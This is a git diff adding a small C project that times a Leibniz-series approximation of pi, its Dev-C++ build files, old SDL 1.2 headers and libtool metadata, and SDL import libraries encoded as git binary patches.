.exit = cleanup_module, +#endif +}; + +static const struct modversion_info ____versions[] +__attribute_used__ +__attribute__((section("__versions"))) = { + { 0x49cc9b68, "struct_module" }, + { 0x1b7d4074, "printk" }, +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends="; + diff --git a/c/pic/Makefile.win b/c/pic/Makefile.win new file mode 100644 index 0000000..64e3c6e --- /dev/null +++ b/c/pic/Makefile.win @@ -0,0 +1,33 @@ +# Project: pic +# Compiler: Default GCC compiler +# Compiler Type: MingW 3 +# Makefile created by wxDev-C++ 6.10 on 12.11.06 21:29 + +CPP = g++.exe +CC = gcc.exe +WINDRES = windres.exe +OBJ = MingW/main.o +LINKOBJ = MingW/main.o +LIBS = -L"D:/Program Files/Dev-Cpp/Lib" +INCS = -I"D:/Program Files/Dev-Cpp/Include" +CXXINCS = -I"D:/Program Files/Dev-Cpp/lib/gcc/mingw32/3.4.2/include" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2/backward" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2/mingw32" -I"D:/Program Files/Dev-Cpp/include/c++/3.4.2" -I"D:/Program Files/Dev-Cpp/include" -I"D:/Program Files/Dev-Cpp/" -I"D:/Program Files/Dev-Cpp/include/common/wx/msw" -I"D:/Program Files/Dev-Cpp/include/common/wx/generic" -I"D:/Program Files/Dev-Cpp/include/common/wx/fl" -I"D:/Program Files/Dev-Cpp/include/common/wx/gizmos" -I"D:/Program Files/Dev-Cpp/include/common/wx/html" -I"D:/Program Files/Dev-Cpp/include/common/wx/mmedia" -I"D:/Program Files/Dev-Cpp/include/common/wx/net" -I"D:/Program Files/Dev-Cpp/include/common/wx/ogl" -I"D:/Program Files/Dev-Cpp/include/common/wx/plot" -I"D:/Program Files/Dev-Cpp/include/common/wx/protocol" -I"D:/Program Files/Dev-Cpp/include/common/wx/stc" -I"D:/Program Files/Dev-Cpp/include/common/wx/svg" -I"D:/Program Files/Dev-Cpp/include/common/wx/xml" -I"D:/Program Files/Dev-Cpp/include/common/wx/xrc" -I"D:/Program Files/Dev-Cpp/include/common/wx" -I"D:/Program Files/Dev-Cpp/include/common" +RCINCS = --include-dir "D:/PROGRA~1/Dev-Cpp/include/common" +BIN = MingW/pic.exe +DEFINES = +CXXFLAGS = $(CXXINCS) $(DEFINES) +CFLAGS = $(INCS) $(DEFINES) +GPROF = gprof.exe +RM = rm -f +LINK = g++.exe + +.PHONY: all all-before all-after clean clean-custom +all: all-before $(BIN) all-after + +clean: clean-custom + $(RM) $(OBJ) $(BIN) + +$(BIN): $(OBJ) + $(LINK) $(LINKOBJ) -o "MingW\pic.exe" $(LIBS) + +MingW/main.o: $(GLOBALDEPS) main.cpp + $(CPP) -c main.cpp -o MingW/main.o $(CXXFLAGS) diff --git a/c/pic/main.cpp b/c/pic/main.cpp new file mode 100644 index 0000000..21857c4 --- /dev/null +++ b/c/pic/main.cpp @@ -0,0 +1,22 @@ +#include +#include +#include +#define PI 3.141592653589793 + +int main(void) { + double currPi=0, i=1; + clock_t begin, end; + + begin = clock(); + do { + currPi+=(4/i - 4/(i+2)); + i+=4; + } while(fabs(PI-currPi) > 1e-7); + end = clock(); + + printf("Vypocteno Pi = %lf v case: %f ms.\n", currPi, + (float)(end-begin)/CLOCKS_PER_SEC * 1000); + + //system("PAUSE"); + //return EXIT_SUCCESS; +} diff --git a/c/pic/pic.dev b/c/pic/pic.dev new file mode 100644 index 0000000..689f190 --- /dev/null +++ b/c/pic/pic.dev @@ -0,0 +1,50 @@ +[Project] +FileName=pic.dev +Name=pic +UnitCount=1 +PchHead=-1 +PchSource=-1 +Ver=3 +IsCpp=1 +ProfilesCount=1 +ProfileIndex=0 +Folders= + +[Unit1] +FileName=main.cpp +CompileCpp=1 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[Profile1] +ProfileName=MingW +Type=1 +ObjFiles= +Includes= +Libs= +PrivateResource= +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker= +PreprocDefines= +CompilerSettings= +Icon= +ExeOutput=MingW +ObjectOutput=MingW +OverrideOutput=0 +OverrideOutputName= +HostApplication= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=0 +SupportXPThemes=0 +CompilerSet=0 +compilerType=0 + diff --git a/c/pic/pic.layout b/c/pic/pic.layout new file mode 100644 index 0000000..6d2cdce --- /dev/null +++ b/c/pic/pic.layout @@ -0,0 +1,5 @@ +[Editor_0] +CursorCol=7 +CursorRow=21 +TopLine=1 +LeftChar=1 diff --git a/c/sdl-old/SDL.h b/c/sdl-old/SDL.h new file mode 100644 index 0000000..60ac26c --- /dev/null +++ b/c/sdl-old/SDL.h @@ -0,0 +1,94 @@ +/* + SDL - Simple DirectMedia Layer + Copyright (C) 1997-2006 Sam Lantinga + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + Sam Lantinga + slouken@libsdl.org +*/ + +/* Main include header for the SDL library */ + +#ifndef _SDL_H +#define _SDL_H + +#include "SDL_main.h" +#include "SDL_stdinc.h" +#include "SDL_audio.h" +#include "SDL_cdrom.h" +#include "SDL_cpuinfo.h" +#include "SDL_endian.h" +#include "SDL_error.h" +#include "SDL_events.h" +#include "SDL_loadso.h" +#include "SDL_mutex.h" +#include "SDL_rwops.h" +#include "SDL_thread.h" +#include "SDL_timer.h" +#include "SDL_video.h" +#include "SDL_version.h" + +#include "begin_code.h" +/* Set up for C function definitions, even when using C++ */ +#ifdef __cplusplus +extern "C" { +#endif + +/* As of version 0.5, SDL is loaded dynamically into the application */ + +/* These are the flags which may be passed to SDL_Init() -- you should + specify the subsystems which you will be using in your application. +*/ +#define SDL_INIT_TIMER 0x00000001 +#define SDL_INIT_AUDIO 0x00000010 +#define SDL_INIT_VIDEO 0x00000020 +#define SDL_INIT_CDROM 0x00000100 +#define SDL_INIT_JOYSTICK 0x00000200 +#define SDL_INIT_NOPARACHUTE 0x00100000 /* Don't catch fatal signals */ +#define SDL_INIT_EVENTTHREAD 0x01000000 /* Not supported on all OS's */ +#define SDL_INIT_EVERYTHING 0x0000FFFF + +/* This function loads the SDL dynamically linked library and initializes + * the subsystems specified by 'flags' (and those satisfying dependencies) + * Unless the SDL_INIT_NOPARACHUTE flag is set, it will install cleanup + * signal handlers for some commonly ignored fatal signals (like SIGSEGV) + */ +extern DECLSPEC int SDLCALL SDL_Init(Uint32 flags); + +/* This function initializes specific SDL subsystems */ +extern DECLSPEC int SDLCALL SDL_InitSubSystem(Uint32 flags); + +/* This function cleans up specific SDL subsystems */ +extern DECLSPEC void SDLCALL SDL_QuitSubSystem(Uint32 flags); + +/* This function returns mask of the specified subsystems which have + been initialized. + If 'flags' is 0, it returns a mask of all initialized subsystems. +*/ +extern DECLSPEC Uint32 SDLCALL SDL_WasInit(Uint32 flags); + +/* This function cleans up all initialized subsystems and unloads the + * dynamically linked library. You should call it upon all exit conditions. + */ +extern DECLSPEC void SDLCALL SDL_Quit(void); + +/* Ends C function definitions when using C++ */ +#ifdef __cplusplus +} +#endif +#include "close_code.h" + +#endif /* _SDL_H */ diff --git a/c/sdl-old/SDL_main.h b/c/sdl-old/SDL_main.h new file mode 100644 index 0000000..cf8b728 --- /dev/null +++ b/c/sdl-old/SDL_main.h @@ -0,0 +1,98 @@ +/* + SDL - Simple DirectMedia Layer + Copyright (C) 1997-2006 Sam Lantinga + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + Sam Lantinga + slouken@libsdl.org +*/ + +#ifndef _SDL_main_h +#define _SDL_main_h + +#include "SDL_stdinc.h" + +/* Redefine main() on Win32 and MacOS so that it is called by winmain.c */ + +#if defined(__WIN32__) || \ + (defined(__MWERKS__) && !defined(__BEOS__)) || \ + defined(__MACOS__) || defined(__MACOSX__) || \ + defined(__SYMBIAN32__) || defined(QWS) + +#ifdef __cplusplus +#define C_LINKAGE "C" +#else +#define C_LINKAGE +#endif /* __cplusplus */ + +/* The application's main() function must be called with C linkage, + and should be declared like this: +#ifdef __cplusplus +extern "C" +#endif + int main(int argc, char *argv[]) + { + } + */ +#define main SDL_main + +/* The prototype for the application's main() function */ +extern C_LINKAGE int SDL_main(int argc, char *argv[]); + + +/* From the SDL library code -- needed for registering the app on Win32 */ +#ifdef __WIN32__ + +#include "begin_code.h" +#ifdef __cplusplus +extern "C" { +#endif + +/* This should be called from your WinMain() function, if any */ +extern DECLSPEC void SDLCALL SDL_SetModuleHandle(void *hInst); +/* This can also be called, but is no longer necessary */ +extern DECLSPEC int SDLCALL SDL_RegisterApp(char *name, Uint32 style, void *hInst); +/* This can also be called, but is no longer necessary (SDL_Quit calls it) */ +extern DECLSPEC void SDLCALL SDL_UnregisterApp(void); +#ifdef __cplusplus +} +#endif +#include "close_code.h" +#endif + +/* From the SDL library code -- needed for registering QuickDraw on MacOS */ +#if defined(__MACOS__) + +#include "begin_code.h" +#ifdef __cplusplus +extern "C" { +#endif + +/* Forward declaration so we don't need to include QuickDraw.h */ +struct QDGlobals; + +/* This should be called from your main() function, if any */ +extern DECLSPEC void SDLCALL SDL_InitQuickDraw(struct QDGlobals *the_qd); + +#ifdef __cplusplus +} +#endif +#include "close_code.h" +#endif + +#endif /* Need to redefine main()? */ + +#endif /* _SDL_main_h */ diff --git a/c/sdl-old/libSDL.dll.a b/c/sdl-old/libSDL.dll.a new file mode 100644 index 0000000000000000000000000000000000000000..b986d97b972458c4c9fbfcb13828de2f7d3970a3 GIT binary patch literal 123944 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 AiU0rr literal 0 HcmV?d00001 diff --git a/c/sdl-old/libSDL.la b/c/sdl-old/libSDL.la new file mode 100644 index 0000000..1b16c61 --- /dev/null +++ b/c/sdl-old/libSDL.la @@ -0,0 +1,35 @@ +# libSDL.la - a libtool library file +# Generated by ltmain.sh - GNU libtool 1.5.22 (1.1220.2.365 2005/12/18 22:14:06) +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# The name that we can dlopen(3). +dlname='../bin/SDL.dll' + +# Names of this library. +library_names='libSDL.dll.a' + +# The name of the static archive. +old_library='libSDL.a' + +# Libraries that this one depends upon. +dependency_libs=' -luser32 -lgdi32 -lwinmm -ldxguid' + +# Version information for libSDL. +current=11 +age=11 +revision=0 + +# Is this an already installed library? +installed=yes + +# Should we warn about portability when linking against -modules? +shouldnotlink=no + +# Files to dlopen/dlpreopen +dlopen='' +dlpreopen='' + +# Directory that this library needs to be installed in: +libdir='/usr/local/cross-tools/i386-mingw32msvc/lib' diff --git a/c/sdl-old/libSDLmain.a b/c/sdl-old/libSDLmain.a new file mode 100644 index 0000000000000000000000000000000000000000..7969e9d997a3800c1e48f7dcc42560add4e2d87d GIT binary patch literal 202612 zcmeFa2Y6J~_WykXsHi9?qH=AhprDjYO9BBQ6(S)CDIh40Lox}0WD;i*ir0%#P(;Mu zP_TQ&hP@#wHtfACDk}Eg>y>w{@7nvEHJORtd;h=p|NP$PdC&8ppIQ66_u0LjeNOfr z9f{Y@I%K;M1ClSFFXRj4go0Tk2MoxBlm7330f8K=KWaP2ak|mJyZB$Ywk4KmX^MuM zBaJa9Jhd@4iC~;B%Nf!67B+w`{_j(Fs46TC&ufeY{0Me<%ZTkpNOWAkZhU#P!DH#TXcRKSpM@hNj4JB-=RAU zhtYorIL=YS>mqFtSi1htILBE(d}boSiUFK6U0fZkOSDC1D))5@9OtR69p~dda^F7U zmJeN`EpDY>o!ZSgnF8o^<<~6zVCod#ma0Xc_gXfi=d$)*r*vPuzHM&r`<}aurHgVh zdN1aJnml=S&&rQsdbrPt>)W;}IHmh%ubytZ4fB;1j_b>Gn4p}-ceZ$E{8ZS!c4`}i))qu($6`S2sdGaf=bmO1sydQ>dh z)N|05Espcq-SE)%Y|>pHptxKo4tI>+ulU{p(o)@vNWe_KVh!t3Ya(em>)&^7gg?E%gJMqs=Yx1p|f+h|Fw>w>8EZoMI~5 zrU6CqcuU+_e%k>YZwhbG=Y3`k%y67pW9UC0Uqm-s`nhlYjEBxx-gW@H&-jFe@tF>O z@y)Cf!7cgA;Ce4UiW18~YR{ic zB%^89gNF==BDa?QxP0A#tfKswQbpBn+1^x5j;M0)_#h>qZTa*JvJOwSmJNAh`Jow$ z9_+K|y|0%(2MRQ^{hPP2KG7rBfWAMvVBrkuaPN_Qn^TAxiF>2!`hk8-|^m0pN z(Zju#uX>G=HF;JK5?0L?*>n=^(XnnYyByKB6W6y1ZQEHx`*#}_!^x=-U$fj4P_c6lq+Q2$=>wel3aTN? z`f(;LbC%|hTb9>jX@23dyq-(*CoIeBwKTtUSze!|`4!9Zc3GNVy)19{rTK>~%iD8l z{t=(-%57w7YMx5C*HZa;;SNB!0}<|EggX@BW+L1m!p%Xrqd#dSpJ(Wc%7?Cj+wpj? zGf^FWJC0BBWa81reiZ$`!|*AJuT=b^;_c}M9rT;835r)J{#0>4D%}pK9j8!nO!4`O zZ&v)2;x7~*K-J6*Q*oW*rHZdr`~dL@CO+>f?%%_+v-9OfQ>pB$h&!BD;c_#0Jf+le zHh}BE{M-6{gY5QRgJ}NH;S6PGTvn40yV!mNUxpt&Y0U3%4onGiPqN!EYZS958|J0( zdkXx%3SI{8y$y$X1vm)aoDzPF>^A(>iob)tMIx&1)w8Fk&m-<|-iD?I{0?}I;!_k~ z0e&BvJHa1;p9EtRrOuqg6y5^<6q>%VL&0Bw8x-;3{w#xJ~gg#g{3*Tk-RXKL(d0oSk>%`w9Mn&%aNteECW zbYIczqIf8HCj3qXw}a<_=Yr1z&jYUk&j&xJ_*3vg*tdX>1Mj*M-?sxi9DEA67`zM| z2A>XI1U>`28hj@BA;s^2dBWg0--B0zd(j}*;Rqi9z8Ln=;7h>O;7h@?iEUfE5_UiA zcPoAlEbU^m;$Oj1|NHdi`w9;MOZ^|K_%N{4|7OJ}fu&qlDZT?N0_=-=u%eSvoa){9 zUS~ivTk)xiuLO&J*zT;q0Qxe;3&5gz7R<8+TFNT!+n@c)l>lE3%?ia&D9w<+vHogk z$`mgIOE??B*F)p%!TKA(Bfz3r4!#BUn-y6vJBaQ5X!hkeXM%sCS(D@3srV%@TOH?_16aQWnr{{FcA#e;0~Y;- z;O^V-ul0(*QQUtp`<3faa3APDR=mp)PxBCXFK9kcyz@b<*&FtQ6i)(6_$$HtL-Ua0 zAHaiPA9*l`a{%~gu=srqd@$_4C>}J_i`ze}KjB zu71{+!9GlJ1z0pI!IjWFsQ5c@73^674yPL23>Lqyfe(ZIXT|#mSufX(;3J`VPVw(b zlM`Zn1ezlipAMFAUI#~^`9<--EcPq*VzB7j!Ly)0NAZ11^E-GBH2Y_BIKnkx3FkU+ 